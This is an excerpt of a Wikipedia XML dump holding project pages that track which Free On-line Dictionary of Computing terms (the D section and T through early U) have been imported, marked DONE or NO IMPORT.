DOE&lt;br&gt;
DOF&lt;br&gt;
dogcow&lt;br&gt;
dogpile&lt;br&gt;
dogwash&lt;br&gt;
DOL&lt;br&gt;
dollar&lt;br&gt;
do loop&lt;br&gt;
DOM&lt;br&gt;
domain&lt;br&gt;
domain address&lt;br&gt;
Domain Analysis&lt;br&gt;
domain architecture&lt;br&gt;
Domain Architecture Model&lt;br&gt;
domain calculus&lt;br&gt;
domain engineering&lt;br&gt;
domainist&lt;br&gt;
domain maturity&lt;br&gt;
domain model&lt;br&gt;
domain name&lt;br&gt;
Domain Name Server&lt;br&gt;
Domain Name System&lt;br&gt;
domain selection&lt;br&gt;
Domain Software Engineering Environment&lt;br&gt;
domain-specific language&lt;br&gt;
domain theory&lt;br&gt;
DOMF&lt;br&gt;
Donald Knuth&lt;br&gt;
dongle&lt;br&gt;
dongle-disk&lt;br&gt;
Don't do that then!&lt;br&gt;
donuts&lt;br&gt;
DOOM&lt;br&gt;
DOORS&lt;br&gt;
doorstop&lt;br&gt;
Dorito Syndrome&lt;br&gt;
DORUM&lt;br&gt;
DOS&lt;br&gt;
DOS/360 -- '''DONE'''&lt;br&gt;
DOS Protected Mode Interface&lt;br&gt;
DOS requester&lt;br&gt;
dot&lt;br&gt;
dot address&lt;br&gt;
dot file&lt;br&gt;
dot matrix printer&lt;br&gt;
dot notation&lt;br&gt;
dot pitch&lt;br&gt;
dotted quad&lt;br&gt;
double bucky&lt;br&gt;
double-click&lt;br&gt;
Double Data Rate Random Access Memory&lt;br&gt;
Double Data Rate Synchronous Random Access Memory&lt;br&gt;
double DECkers&lt;br&gt;
double density&lt;br&gt;
doubled sig&lt;br&gt;
double-duplex&lt;br&gt;
double quote&lt;br&gt;
doubly linked list&lt;br&gt;
DOUGLAS&lt;br&gt;
Douglas Engelbart&lt;br&gt;
Doug Lenat&lt;br&gt;
DOW COMPILER&lt;br&gt;
down&lt;br&gt;
download&lt;br&gt;
downloading&lt;br&gt;
downsizing&lt;br&gt;
downstream&lt;br&gt;
down-time&lt;br&gt;
downward closed&lt;br&gt;
Downy cocktail&lt;br&gt;
DP&lt;br&gt;
DPB&lt;br&gt;
DPer&lt;br&gt;
[[DPI|dpi]] '''DONE'''&lt;br&gt;
DPL&lt;br&gt;
DPL-82&lt;br&gt;
DPLL&lt;br&gt;
DPMI&lt;br&gt;
DPMS&lt;br&gt;
DPN&lt;br&gt;
DPP&lt;br&gt;
d-Prolog&lt;br&gt;
DPS&lt;br&gt;
dpSather&lt;br&gt;
DPSK&lt;br&gt;
DQDB&lt;br&gt;
draco&lt;br&gt;
Draft Once ReUse Many&lt;br&gt;
drag and drop&lt;br&gt;
drag-n-drop&lt;br&gt;
DRAGON&lt;br&gt;
dragon&lt;br&gt;
Dragon Book&lt;br&gt;
DRAGOON&lt;br&gt;
drain&lt;br&gt;
DRAM&lt;br&gt;
DRAM refresh&lt;br&gt;
Drawing eXchange Format&lt;br&gt;
dread high bit disease&lt;br&gt;
DRECNET&lt;br&gt;
driver&lt;br&gt;
drivers&lt;br&gt;
Dr. James H. Clark&lt;br&gt;
droid&lt;br&gt;
DROOL&lt;br&gt;
drool-proof paper&lt;br&gt;
drop cable&lt;br&gt;
drop-down list&lt;br&gt;
drop-down menu&lt;br&gt;
drop-ins&lt;br&gt;
drop on the floor&lt;br&gt;
drop-outs&lt;br&gt;
DrScheme&lt;br&gt;
DRUCO I&lt;br&gt;
drugged&lt;br&gt;
drum&lt;br&gt;
drunk mouse syndrome&lt;br&gt;
dry run&lt;br&gt;
DS0&lt;br&gt;
DS1&lt;br&gt;
DS1C&lt;br&gt;
DS2&lt;br&gt;
DS3&lt;br&gt;
DSA&lt;br&gt;
DSE&lt;br&gt;
DSEE&lt;br&gt;
D-shell connector&lt;br&gt;
DSI&lt;br&gt;
DSL&lt;br&gt;
DSLAM&lt;br&gt;
DS level&lt;br&gt;
DSM&lt;br&gt;
DSN&lt;br&gt;
DSP&lt;br&gt;
DSP32 Assembly Language&lt;br&gt;
DSP56000&lt;br&gt;
DSP56001&lt;br&gt;
dsp56165-gcc&lt;br&gt;
dsp56k-gcc&lt;br&gt;
DSP/C&lt;br&gt;
DSPL&lt;br&gt;
DSR&lt;br&gt;
DSS&lt;br&gt;
DSSSL&lt;br&gt;
DST&lt;br&gt;
DSU&lt;br&gt;
DSVD&lt;br&gt;
DSW&lt;br&gt;
DTALGOL&lt;br&gt;
DTD&lt;br&gt;
DTE&lt;br&gt;
DT&amp;amp&lt;br&gt;E&lt;br&gt;
DTLS&lt;br&gt;
DTMF&lt;br&gt;
DTP&lt;br&gt;
DTR&lt;br&gt;
DTS&lt;br&gt;
DTSS&lt;br&gt;
D-type&lt;br&gt;
D-type flip-flop&lt;br&gt;
DUA&lt;br&gt;
dual&lt;br&gt;
DUAL-607&lt;br&gt;
dual-attached&lt;br&gt;
dual-homed&lt;br&gt;
Dual In-Line&lt;br&gt;
Dual In-line Memory Module&lt;br&gt;
Dual In-Line Package&lt;br&gt;
dual ported&lt;br&gt;
dual-stack&lt;br&gt;
Dual Tone Multi Frequency&lt;br&gt;
DUEL&lt;br&gt;
Duff's device&lt;br&gt;
dumbed down&lt;br&gt;
dumb terminal&lt;br&gt;
dump&lt;br&gt;
dumpster diving&lt;br&gt;
Dungeon&lt;br&gt;
dup killer&lt;br&gt;
duplex&lt;br&gt;
Duplex High Speed Data&lt;br&gt;
dup loop&lt;br&gt;
Durra&lt;br&gt;
dusty deck&lt;br&gt;
DV cartridge&lt;br&gt;
DVD&lt;br&gt;
DVD-R&lt;br&gt;
DVD-ROM&lt;br&gt;
DVI '''DONE''' (several versions)&lt;br&gt;
Dvorak&lt;br&gt;
Dwarf Storage Unit&lt;br&gt;
DWDM&lt;br&gt;
dweeb&lt;br&gt;
dwg&lt;br&gt;
DWIM&lt;br&gt;
DX4&lt;br&gt;
DXF&lt;br&gt;
dyadic&lt;br&gt;
DYANA&lt;br&gt;
Dylan&lt;br&gt;
Dylperl&lt;br&gt;
dynamic adaptive routing&lt;br&gt;
Dynamic Address Translation&lt;br&gt;
Dynamically Linked Library&lt;br&gt;
dynamically scoped&lt;br&gt;
dynamic analysis&lt;br&gt;
dynamic binding&lt;br&gt;
dynamic database management system&lt;br&gt;
Dynamic Data Exchange&lt;br&gt;
Dynamic Data Linking&lt;br&gt;
dynamic DBMS&lt;br&gt;
Dynamic Drive Overlay&lt;br&gt;
Dynamic Execution&lt;br&gt;
Dynamic Host Configuration Protocol&lt;br&gt;
Dynamic HTML&lt;br&gt;
DYnamic LANguage&lt;br&gt;
dynamic link&lt;br&gt;
dynamic link library&lt;br&gt;
Dynamic Object-Oriented Requirements System&lt;br&gt;
dynamic RAM&lt;br&gt;
dynamic random access memory&lt;br&gt;
dynamic routing&lt;br&gt;
DYnamics ANAlyzer&lt;br&gt;
dynamic scope&lt;br&gt;
dynamic scoping&lt;br&gt;
DYNAMO&lt;br&gt;
Dynix&lt;br&gt;
Dynix Automated Library Systems&lt;br&gt;
dynner&lt;br&gt;
DYSAC&lt;br&gt;
DYSTAL&lt;br&gt;
dz&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/T - W</title>
    <id>11338</id>
    <revision>
      <id>23256455</id>
      <timestamp>2005-09-15T02:06:23Z</timestamp>
      <contributor>
        <ip>66.169.103.126</ip>
      </contributor>
      <comment>wikify some links</comment>
      <text xml:space="preserve">#[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] 
-- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- 
[[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- 
[[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- 
[[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- 
[[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- 
[[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- '''T - 
W''' -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- 
[[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status 
Page]]

[[T-carrier|T1]] '''DONE'''&lt;br&gt;
T1 line '''NO IMPORT'''&lt;br&gt;
T1 rate '''NO IMPORT'''&lt;br&gt;
[[T-carrier|T3]] '''NO IMPORT''' &lt;br&gt;
T3 line '''NO IMPORT'''&lt;br&gt;
TA '''NO IMPORT''' - insignificant&lt;br&gt;
TAA '''NO IMPORT''' - insignificant&lt;br&gt;
TAB '''NO IMPORT''' - duplicate info&lt;br&gt;
table '''NO IMPORT''' - insignificant&lt;br&gt;
table locking '''NO IMPORT''' - insignificant&lt;br&gt;
TABLET '''NO IMPORT''' - insignificant&lt;br&gt;
TABLOG '''NO IMPORT''' - esoteric&lt;br&gt;
tab-separated values&lt;br&gt;
TABSOL '''NO IMPORT''' - esoteric&lt;br&gt;
Tabulating Machine Company '''NO IMPORT''' - duplicate info&lt;br&gt;
TAC '''NO IMPORT''' - esoteric&lt;br&gt;
[[TACL]] '''DONE'''&lt;br&gt;
TACPOL '''NO IMPORT''' - insignificant&lt;br&gt;
tag '''NO IMPORT''' - insignificant&lt;br&gt;
[[Tagged Image File Format]] '''DONE'''&lt;br&gt;
tagged queueing '''DONE'''&lt;br&gt;
tagged types '''NO IMPORT''' - insignificant&lt;br&gt;
tag name '''NO IMPORT''' - jargon&lt;br&gt;
tail circuit '''NO IMPORT''' - insignificant&lt;br&gt;
[[Tail recursion|tail recursion]] '''DONE'''&lt;br&gt;
tail recursion modulo cons&lt;br&gt;
tail recursion optimisation&lt;br&gt;
tail-strict&lt;br&gt;
[[Transaction Application Language|TAL]] '''DONE'''&lt;br&gt;
TALE '''NO IMPORT''' - esoteric&lt;br&gt;
[[Taligent]] '''DONE'''&lt;br&gt;
talk&lt;br&gt;
talk bomb&lt;br&gt;
talker system&lt;br&gt;
talk mode&lt;br&gt;
TALL&lt;br&gt;
tall card&lt;br&gt;
Tandem Application Language&lt;br&gt;
Tandem Computers&lt;br&gt;
[[Tandy Corporation|Tandy]] '''DONE'''&lt;br&gt;
[[Andrew S. Tanenbaum|Tanenbaum, Andrew]] '''DONE'''&lt;br&gt;
tanked&lt;br&gt;
TANSTAAFL&lt;br&gt;
TAO&lt;br&gt;
TAOS&lt;br&gt;
TAP&lt;br&gt;
tap '''NO IMPORT'''&lt;br&gt;
tape '''NO IMPORT'''&lt;br&gt;
tape archive&lt;br&gt;
tape drive&lt;br&gt;
tape head&lt;br&gt;
[[Tape Operating System]]&lt;br&gt;
[[Telephony Application Programming Interface|TAPI]] '''DONE'''&lt;br&gt;
[[Tar (file format)|tar]] '''DONE'''&lt;br&gt;
tar and feather&lt;br&gt;
[[Tar (file format)|tarball]]&lt;br&gt;
targa&lt;br&gt;
Targa Graphics Adaptor&lt;br&gt;
target&lt;br&gt;
Target-Machine Description Language&lt;br&gt;
TARTAN&lt;br&gt;
Task Control Block&lt;br&gt;
task scheduling&lt;br&gt;
[[Turbo Assembler|TASM]]&lt;br&gt;
TASS&lt;br&gt;
taste '''NO IMPORT''' - jargon&lt;br&gt;
tautological probability&lt;br&gt;
tautological set&lt;br&gt;
tautology&lt;br&gt;
TAWK '''NO IMPORT''' - insignificant&lt;br&gt;
Taxis&lt;br&gt;
tayste&lt;br&gt;
taz&lt;br&gt;
TBF&lt;br&gt;
TBIL&lt;br&gt;
TBK&lt;br&gt;
Tbl&lt;br&gt;
tc&lt;br&gt;
[[T-carrier|T-carrier system]] '''DONE'''&lt;br&gt;
TCB&lt;br&gt;
TCGS&lt;br&gt;
TC/IX&lt;br&gt;
[[Tcl]] '''DONE'''&lt;br&gt;
Tcl Consortium&lt;br&gt;
tcl-debug&lt;br&gt;
Tcl-DP&lt;br&gt;
tclhttpd&lt;br&gt;
tclx&lt;br&gt;
TCM&lt;br&gt;
TCO&lt;br&gt;
Tcode&lt;br&gt;
TCOL&lt;br&gt;
TCOL.Ada&lt;br&gt;
[[Transmission Control Protocol|TCP]] '''DONE'''&lt;br&gt;
[[Internet protocol suite|TCPIP]] '''DONE''' &lt;br&gt;
[[Internet protocol suite|TCP/IP]] '''DONE'''&lt;br&gt;
tcsh&lt;br&gt;
Tcsim&lt;br&gt;
TCVN 5773&lt;br&gt;
TCVN 6056&lt;br&gt;
td&lt;br&gt;
TDD&lt;br&gt;
TDF&lt;br&gt;
TDFL&lt;br&gt;
TDI&lt;br&gt;
TDM '''DONE'''&lt;br&gt;
[[Time division multiple access|TDMA]] '''DONE'''&lt;br&gt;
TDR&lt;br&gt;
Teamwork&lt;br&gt;
Technical/Office Protocol&lt;br&gt;
Technion&lt;br&gt;
technology '''NO IMPORT'''&lt;br&gt;
Technology Enabled Relationship Manager&lt;br&gt;
Technology of Object-Oriented Languages and Systems&lt;br&gt;
TechRef&lt;br&gt;
[[Text Editor and Corrector|TECO]] '''DONE'''&lt;br&gt;
tee&lt;br&gt;
TEI&lt;br&gt;
telco&lt;br&gt;
TELCOMP&lt;br&gt;
Telecommunication Display Device&lt;br&gt;
Telecommunications Device for the Deaf&lt;br&gt;
Telecommunications Industry Association&lt;br&gt;
[[telecommuter|telecommuting]]&lt;br&gt;
teledildonics&lt;br&gt;
telematics&lt;br&gt;
TelEnet&lt;br&gt;
TELEPAC&lt;br&gt;
[[Telephony Application Programming Interface|Telephone Application Program Interface]] '''DONE'''&lt;br&gt;
[[telephone|telephony]] '''DONE'''&lt;br&gt;
[[Telephony Application Programming Interface]] '''DONE'''&lt;br&gt;
Telerat&lt;br&gt;
Telescript&lt;br&gt;
[[Teleprinter|Teletype]] '''DONE'''&lt;br&gt;
[[Teleprinter|teletype]] '''DONE'''&lt;br&gt;
Teletype Corporation&lt;br&gt;
teletypewriter '''DONE'''&lt;br&gt;
TeleUSE&lt;br&gt;
[[Television|television]] '''DONE'''&lt;br&gt;
Television Interface Adaptor&lt;br&gt;
[[Telnet|TELNET]] '''DONE'''&lt;br&gt;
Telocator Alphanumeric Protocol&lt;br&gt;
Telon&lt;br&gt;
TELOS&lt;br&gt;
TELSIM&lt;br&gt;
template code&lt;br&gt;
TEMPLOG&lt;br&gt;
TEMPO&lt;br&gt;
Tempo&lt;br&gt;
temporal database&lt;br&gt;
temporal logic&lt;br&gt;
Tempura&lt;br&gt;
[[Ten15]]&lt;br&gt;
tendinitis&lt;br&gt;
ten-finger interface&lt;br&gt;
tennis elbow&lt;br&gt;
tense&lt;br&gt;
[[Tensor product|tensor product]] '''DONE'''&lt;br&gt;
tenured graduate student&lt;br&gt;
[[Tera|tera-]] '''DONE'''&lt;br&gt;
[[Terabyte|terabyte]] '''DONE'''&lt;br&gt;
[[FLOPS|teraflop]]&lt;br&gt;
teraflop club&lt;br&gt;
TERM&lt;br&gt;
TERMAC&lt;br&gt;
termcap&lt;br&gt;
terminak&lt;br&gt;
[[Computer terminal|terminal]] '''DONE'''&lt;br&gt;
Terminal Access Controller&lt;br&gt;
terminal adapter '''DONE'''&lt;br&gt;
Terminal Adaptor '''NO IMPORT'''&lt;br&gt;
terminal brain death&lt;br&gt;
[[terminal emulation]] '''NO IMPORT'''&lt;br&gt;
[[terminal emulator]] '''DONE'''&lt;br&gt;
terminal illness&lt;br&gt;
terminal junkie&lt;br&gt;
terminal node&lt;br&gt;
Terminal Oriented Social Science&lt;br&gt;
[[TPX|Terminal Productivity eXecutive]]&lt;br&gt;
terminal server&lt;br&gt;
[[Terminate and Stay Resident]] '''DONE'''&lt;br&gt;
termination analysis&lt;br&gt;
terminator&lt;br&gt;
term rewriting system&lt;br&gt;
[[Terms of service|Terms Of Service]]&lt;br&gt;
[[ternary]] '''DONE'''&lt;br&gt;
terpri&lt;br&gt;
terrabyte&lt;br&gt;
Terse&lt;br&gt;
test '''DONE'''&lt;br&gt;
Test coverage&lt;br&gt;
testing '''NO IMPORT'''&lt;br&gt;
TET&lt;br&gt;
[[TeX]] -- ''''''DONE''''''&lt;br&gt;
TeX-78&lt;br&gt;
TeX-82&lt;br&gt;
[[Texas Instruments]] '''DONE'''&lt;br&gt;
Texinfo&lt;br&gt;
text&lt;br&gt;
text-based&lt;br&gt;
[[text editor]] '''DONE'''&lt;br&gt;
Text Encoding Initiative&lt;br&gt;
[[Binary and text files|text file]]&lt;br&gt;
Text Processing Utility&lt;br&gt;
Text Reckoning And Compiling&lt;br&gt;
text segment&lt;br&gt;
[[Speech synthesis|Text To Speech]]&lt;br&gt;
texture&lt;br&gt;
tf&lt;br&gt;
TFDL&lt;br&gt;
TFTP '''DONE'''&lt;br&gt;
tg&lt;br&gt;
TGA&lt;br&gt;
T-gen&lt;br&gt;
TGS-II&lt;br&gt;
TGS Systems&lt;br&gt;
tgz '''DONE'''&lt;br&gt;
th&lt;br&gt;
thanks in advance&lt;br&gt;
That's not a bug, that's a feature!&lt;br&gt;
T.H.E&lt;br&gt;
The Cuckoo's Egg&lt;br&gt;
The Force&lt;br&gt;
The Internet Account&lt;br&gt;
The MathWorks, Inc.&lt;br&gt;
The Metadata Company&lt;br&gt;
The Microsoft Network&lt;br&gt;
The Mythical Man-Month '''DONE'''&lt;br&gt;
The Network&lt;br&gt;
THEO&lt;br&gt;
theology&lt;br&gt;
theory&lt;br&gt;
theory change&lt;br&gt;
There's More Than One Way To Do It&lt;br&gt;
Theseus&lt;br&gt;
The story of Mel, a Real Programmer&lt;br&gt;
The World Of Cryton&lt;br&gt;
the X that can be Y is not the true X&lt;br&gt;
thicket&lt;br&gt;
thicknet '''DONE'''&lt;br&gt;
thin client '''DONE'''&lt;br&gt;
ThingLab&lt;br&gt;
Think C&lt;br&gt;
Thinking Machines Corporation&lt;br&gt;
[[Thinko|thinko]]&lt;br&gt;
thinnet&lt;br&gt;
third generation computer&lt;br&gt;
third generation language -- ''''''DONE''''''&lt;br&gt;
third normal form&lt;br&gt;
This can't happen&lt;br&gt;
this dictionary&lt;br&gt;
This time, for sure!&lt;br&gt;
thn&lt;br&gt;
Thomas&lt;br&gt;
thrash&lt;br&gt;
thrashing&lt;br&gt;
thread '''DONE'''&lt;br&gt;
threaded&lt;br&gt;
threaded code '''DONE'''&lt;br&gt;
threading&lt;br&gt;
Thread Language Zero&lt;br&gt;
thread-safe '''DONE'''&lt;br&gt;
three-finger salute '''DONE'''&lt;br&gt;
three-letter acronym '''DONE'''&lt;br&gt;
three-tier '''DONE'''&lt;br&gt;
throughput '''DONE'''&lt;br&gt;
thud&lt;br&gt;
Thumb&lt;br&gt;
thumb&lt;br&gt;
thumbnail&lt;br&gt;
thunk&lt;br&gt;
TIA&lt;br&gt;
tick&lt;br&gt;
TickIT&lt;br&gt;
Tickle&lt;br&gt;
tickle a bug&lt;br&gt;
tick-list features&lt;br&gt;
TIFF&lt;br&gt;
tiger team&lt;br&gt;
tight loop&lt;br&gt;
tilde&lt;br&gt;
TILE Forth&lt;br&gt;
Tim Berners-Lee '''DONE'''&lt;br&gt;
time bomb&lt;br&gt;
time complexity&lt;br&gt;
Time Complex Simulator&lt;br&gt;
time division multiple access '''DONE'''&lt;br&gt;
time division multiplexing '''DONE'''&lt;br&gt;
Time Domain Reflectometer '''DONE'''&lt;br&gt;
timeout&lt;br&gt;
time quantum&lt;br&gt;
time-sharing '''DONE'''&lt;br&gt;
Time Sharing Option&lt;br&gt;
Time Simulator&lt;br&gt;
time sink&lt;br&gt;
time slice&lt;br&gt;
times-or-divided-by&lt;br&gt;
time T&lt;br&gt;
Time to Live -- ''''''DONE''''''&lt;br&gt;
time zone '''DONE'''&lt;br&gt;
TINC '''DONE'''&lt;br&gt;
Tinman&lt;br&gt;
tinman+&lt;br&gt;
TINT&lt;br&gt;
tint&lt;br&gt;
Tiny&lt;br&gt;
Tiny BASIC&lt;br&gt;
Tiny Basic Interpreter Language&lt;br&gt;
Tiny Clos&lt;br&gt;
TIP&lt;br&gt;
TIPL&lt;br&gt;
tip of the ice-cube&lt;br&gt;
tired iron&lt;br&gt;
tits on a keyboard&lt;br&gt;
tj&lt;br&gt;
Tk '''DONE'''&lt;br&gt;
tk '''DONE'''&lt;br&gt;
TK-90X&lt;br&gt;
TK-95&lt;br&gt;
T. Kohonen&lt;br&gt;
TK!Solver&lt;br&gt;
TL0&lt;br&gt;
TL1&lt;br&gt;
TLA '''DONE'''&lt;br&gt;
TLAs '''NO IMPORT'''&lt;br&gt;
TLB&lt;br&gt;
TLD&lt;br&gt;
TLI&lt;br&gt;
TL/I&lt;br&gt;
T Lisp&lt;br&gt;
TM&lt;br&gt;
tm&lt;br&gt;
(TM)&lt;br&gt;
TMDL&lt;br&gt;
TMG&lt;br&gt;
TMRC '''DONE'''&lt;br&gt;
TMRCie&lt;br&gt;
TMS 9900&lt;br&gt;
tn&lt;br&gt;
tn3270&lt;br&gt;
TNC&lt;br&gt;
TNSTAAFL&lt;br&gt;
TNX&lt;br&gt;
TNXE6&lt;br&gt;
to&lt;br&gt;
to a first approximation&lt;br&gt;
toast&lt;br&gt;
toaster&lt;br&gt;
toasternet&lt;br&gt;
to a zeroth approximation&lt;br&gt;
toeprint&lt;br&gt;
toggle&lt;br&gt;
TOK&lt;br&gt;
token&lt;br&gt;
token bus&lt;br&gt;
token ring '''DONE'''&lt;br&gt;
Tom Knight&lt;br&gt;
tone&lt;br&gt;
Tony Hoare&lt;br&gt;
tool &lt;br&gt;
tool bar&lt;br&gt;
toolbook&lt;br&gt;
Toolbuilder&lt;br&gt;
Tool Builder Kit&lt;br&gt;
Tool Command Language&lt;br&gt;
TOOLS&lt;br&gt;
toolsmith&lt;br&gt;
TOP&lt;br&gt;
top-down design&lt;br&gt;
Top-Down Model '''DONE'''&lt;br&gt;
topic drift&lt;br&gt;
topic group&lt;br&gt;
topic thread&lt;br&gt;
top-level domain '''DONE'''&lt;br&gt;
topology '''DONE'''&lt;br&gt;
TOPS-10&lt;br&gt;
TOPS-20 '''DONE'''&lt;br&gt;
Tornado&lt;br&gt;
Toronto Euclid&lt;br&gt;
TOS&lt;br&gt;
TOSS&lt;br&gt;
total function '''DONE'''&lt;br&gt;
totally ordered&lt;br&gt;
totally ordered set '''DONE'''&lt;br&gt;
total ordering&lt;br&gt;
toto&lt;br&gt;
touchpad&lt;br&gt;
touch screen '''DONE'''&lt;br&gt;
tourist&lt;br&gt;
touristic&lt;br&gt;
tourist information&lt;br&gt;
Tower Technology Corporation&lt;br&gt;
toy&lt;br&gt;
Toy/Ada&lt;br&gt;
toy language&lt;br&gt;
toy problem&lt;br&gt;
toy program&lt;br&gt;
tp&lt;br&gt;
TPF '''DONE'''&lt;br&gt;
TP/IX&lt;br&gt;
TPL&lt;br&gt;
TPO&lt;br&gt;
TPS&lt;br&gt;
tptc&lt;br&gt;
TPU&lt;br&gt;
TPX&lt;br&gt;
tr&lt;br&gt;
TRAC&lt;br&gt;
traceroute -- ''''''DONE''''''&lt;br&gt;
trace scheduling&lt;br&gt;
track&lt;br&gt;
track ball&lt;br&gt;
tracker ball&lt;br&gt;
tracking&lt;br&gt;
trackpad&lt;br&gt;
Trackpoint&lt;br&gt;
tractor feed&lt;br&gt;
TrafoLa&lt;br&gt;
Trafola-H&lt;br&gt;
trampoline&lt;br&gt;
TRANDIR&lt;br&gt;
TRANQUIL&lt;br&gt;
TRANS&lt;br&gt;
transaction&lt;br&gt;
Transaction Application Language '''DONE'''&lt;br&gt;
Transaction Processing Facility&lt;br&gt;
transceiver '''DONE'''&lt;br&gt;
TRANSCODE&lt;br&gt;
transducer&lt;br&gt;
transfer syntax&lt;br&gt;
transfinite induction '''DONE'''&lt;br&gt;
transformation '''DONE'''&lt;br&gt;
transient&lt;br&gt;
transistor '''DONE'''&lt;br&gt;
Transistor-Transistor Logic&lt;br&gt;
TRANSIT&lt;br&gt;
transitive '''DONE'''&lt;br&gt;
transitive closure&lt;br&gt;
transit network&lt;br&gt;
Translation Look-aside Buffer&lt;br&gt;
Transmission Control Protocol '''DONE'''&lt;br&gt;
transparent&lt;br&gt;
Transport Driver Interface&lt;br&gt;
transport layer&lt;br&gt;
Transport Layer Interface&lt;br&gt;
Transport Level Interface&lt;br&gt;
Transport Service Access Point&lt;br&gt;
[[transputer]] '''DONE''' as [[INMOS Transputer]]&lt;br&gt;
TRANS-USE&lt;br&gt;
trap &lt;br&gt;
trap door&lt;br&gt;
trap-door function&lt;br&gt;
trash&lt;br&gt;
Trash-80&lt;br&gt;
traveling salesman problem '''DONE'''&lt;br&gt;
travelling salesman problem '''NO IMPORT'''&lt;br&gt;
trawl&lt;br&gt;
tree&lt;br&gt;
tree-killer&lt;br&gt;
TREET&lt;br&gt;
TREETRAN&lt;br&gt;
Tree Transformation Language&lt;br&gt;
treeware&lt;br&gt;
Trellis&lt;br&gt;
Trellis Code Modulation&lt;br&gt;
Trident&lt;br&gt;
trigger&lt;br&gt;
trigger finger&lt;br&gt;
TRIGMAN&lt;br&gt;
trillion '''DONE'''&lt;br&gt;
Trilogy&lt;br&gt;
triple DES '''DONE'''&lt;br&gt;
tri state&lt;br&gt;
trit&lt;br&gt;
Triton '''DONE'''&lt;br&gt;
Triton II '''DONE'''&lt;br&gt;
Triton VX '''DONE'''&lt;br&gt;
Trivial File Transfer Protocol '''DONE'''&lt;br&gt;
TRO&lt;br&gt;
troff '''DONE'''&lt;br&gt;
troglodyte&lt;br&gt;
troglodyte mode&lt;br&gt;
Trojan horse '''DONE'''&lt;br&gt;
TROLL &lt;br&gt;
troll '''DONE'''&lt;br&gt;
TRON&lt;br&gt;
tron&lt;br&gt;
Trouble Came Back&lt;br&gt;
TRS&lt;br&gt;
TRS-80 '''DONE'''&lt;br&gt;
True BASIC&lt;br&gt;
true colour&lt;br&gt;
true hacker&lt;br&gt;
TrueType '''DONE'''&lt;br&gt;
Trumpet&lt;br&gt;
TRUSIX&lt;br&gt;
truth table '''DONE'''&lt;br&gt;
TS&lt;br&gt;
TSAP&lt;br&gt;
TSEE&lt;br&gt;
TSIA&lt;br&gt;
Tsim&lt;br&gt;
TSL-1&lt;br&gt;
TSO&lt;br&gt;
TSP&lt;br&gt;
TSR '''DONE'''&lt;br&gt;
TSV&lt;br&gt;
tt&lt;br&gt;
TTD&lt;br&gt;
TTFN&lt;br&gt;
TTL '''DONE'''&lt;br&gt;
TTS&lt;br&gt;
[[TTY|tty]] '''DONE'''&lt;br&gt;
TTYL&lt;br&gt;
TUB&lt;br&gt;
TUBA&lt;br&gt;
tube&lt;br&gt;
tube time&lt;br&gt;
Tuckals&lt;br&gt;
Tui&lt;br&gt;
Tuki&lt;br&gt;
tunafish&lt;br&gt;
tune&lt;br&gt;
tunnelling&lt;br&gt;
TUPLE&lt;br&gt;
tuple '''DONE'''&lt;br&gt;
tuple calculus&lt;br&gt;
Tuple Space Smalltalk&lt;br&gt;
tupling&lt;br&gt;
Turbo C '''DONE'''&lt;br&gt;
Turbo Debugger&lt;br&gt;
turbo nerd&lt;br&gt;
Turbo Pascal '''DONE'''&lt;br&gt;
Turbo Prolog '''DONE'''&lt;br&gt;
Turing&lt;br&gt;
Turing Machine&lt;br&gt;
Turingol&lt;br&gt;
Turing Plus&lt;br&gt;
Turing tar-pit&lt;br&gt;
Turing test '''DONE'''&lt;br&gt;
turist&lt;br&gt;
TURN&lt;br&gt;
turn-key&lt;br&gt;
TUTOR&lt;br&gt;
TUXEDO&lt;br&gt;
TV '''DONE'''&lt;br&gt;
tv '''DONE'''&lt;br&gt;
tw&lt;br&gt;
[[TWAIN]] '''DONE'''&lt;br&gt;
tweak&lt;br&gt;
tweening&lt;br&gt;
tweeter&lt;br&gt;
TWENEX '''DONE'''&lt;br&gt;
Twente Compiler Generator System&lt;br&gt;
Twentel&lt;br&gt;
twiddle&lt;br&gt;
TWIG&lt;br&gt;
twilight zone&lt;br&gt;
twink&lt;br&gt;
twinning&lt;br&gt;
twip&lt;br&gt;
twirling baton&lt;br&gt;
twisted pair '''DONE'''&lt;br&gt;
twisted pair only '''NO IMPORT'''&lt;br&gt;
twm&lt;br&gt;
.twmrc&lt;br&gt;
two-binary, one-quaternary '''DONE'''&lt;br&gt;
twonkie&lt;br&gt;
two-phase commit&lt;br&gt;
twos complement&lt;br&gt;
two-to-the-N&lt;br&gt;
two-valued logic&lt;br&gt;
TX-0&lt;br&gt;
TXL&lt;br&gt;
TYMCOM-X&lt;br&gt;
TYMNET&lt;br&gt;
Tymshare, Inc.&lt;br&gt;
type&lt;br&gt;
type assignment&lt;br&gt;
type class&lt;br&gt;
typed lambda-calculus&lt;br&gt;
TypedProlog&lt;br&gt;
typeface '''DONE'''&lt;br&gt;
type inference&lt;br&gt;
type scheme&lt;br&gt;
typo&lt;br&gt;
typographical error&lt;br&gt;
TYPOL&lt;br&gt;
TZ&lt;br&gt;
tz&lt;br&gt;

ua&lt;br&gt;
UAN&lt;br&gt;
UART '''DONE'''&lt;br&gt;
UAW&lt;br&gt;
UBASIC&lt;br&gt;
UBD&lt;br&gt;
ubiquitous computing '''DONE'''&lt;br&gt;
uC++&lt;br&gt;
UCB '''DONE'''&lt;br&gt;
U-Code&lt;br&gt;
UCS '''DONE'''&lt;br&gt;
UCSD Pascal '''DONE'''&lt;br&gt;
UCX&lt;br&gt;
udb&lt;br&gt;
UDF '''DONE'''&lt;br&gt;
UDMA '''DONE'''&lt;br&gt;
UDP '''DONE'''&lt;br&gt;
uemacs&lt;br&gt;
UFO&lt;br&gt;
ug&lt;br&gt;
UGLIAC&lt;br&gt;
UHELP&lt;br&gt;
UI&lt;br&gt;
uid&lt;br&gt;
UIDL&lt;br&gt;
UIL&lt;br&gt;
UIMS&lt;br&gt;
UIMX&lt;br&gt;
UIS&lt;br&gt;
uk&lt;br&gt;
UKC&lt;br&gt;
UKERNA&lt;br&gt;
UKUUG&lt;br&gt;
ULCC&lt;br&gt;
